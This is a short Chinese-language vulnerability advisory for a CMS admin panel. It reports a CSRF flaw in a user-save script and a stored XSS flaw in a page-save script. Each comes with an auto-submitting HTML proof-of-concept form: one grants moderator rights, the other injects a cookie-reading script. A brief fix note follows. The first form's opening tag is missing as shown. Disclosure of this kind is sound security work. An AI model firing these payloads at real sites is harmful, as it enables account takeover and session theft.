漏洞類型：跨站XSS
漏洞描述：CSRF攻擊，該漏洞存在于“http://host/admin/usersite/save2/“腳本沒有正確驗證的HTTP請求的來源。

成功利用此漏洞可能導致應用程序的一個妥協，基于cookie的認證證書，泄露或竊取敏感數據的修改。

POC：

<input type="hidden" name="noOut" value="1">     <input type="hidden" name="save_post" value="1">     <input type="hidden" name="id" value="2">     <input type="hidden" name="fio" value="first name">     <input type="hidden" name="name" value="userlogin">     <input type="hidden" name="password" value="">     <input type="hidden" name="mail" value="email@example.com">     <input type="hidden" name="created" value="23.12.2010">     <input type="hidden" name="act" value="1">     <input type="hidden" name="moderator" value="1">     <input type="hidden" name="language" value="">     <input type="hidden" name="phone" value="phone">     <input type="hidden" name="city" value="city">     <input type="hidden" name="street" value="street">     <input type="hidden" name="home" value="5">     <input type="hidden" name="corps" value="">     <input type="hidden" name="flat" value="98">    </form>     <script>     document.main.submit();     </script>    XSS漏洞1：

由于該漏洞存在于“http://host/admin/site/save2/“提交數據未經過嚴格過濾導致提交XSS代碼。成功利用此漏洞可能導致應用程序的一個妥協，基于cookie的認證證書，泄露或竊取敏感數據的修改。

POC：

<form action="http://host/admin/site/save2/" method="post" name="main" enctype="multipart/form-data" >     <input type="hidden" name="noOut" value="1">     <input type="hidden" name="save_post" value="1">     <input type="hidden" name="id" value="2">     <input type="hidden" name="name" value="page name">     <input type="hidden" name="act" value="1">     <input type="hidden" name="actm" value="1">     <input type="hidden" name="title_meta" value="title">     <input type="hidden" name="keywords" value="">     <input type="hidden" name="descr" value="">     <input type="hidden" name="rewrite" value="sef_url">     <input type="hidden" name="addmodule" value="">     <input type="hidden" name="parent_id" value="">     <input type="hidden" name="sort" value="2">     <input type="hidden" name="theme" value="">     <input type="hidden" name="othurl" value="">     <input type="hidden" name="text" value='content html"><script>alert(document.cookie)</script>'>     </form>     <script>     document.main.submit();     </script>    

修復：

腳本正確驗證的HTTP請求的來源。
關健詞：漏洞，修復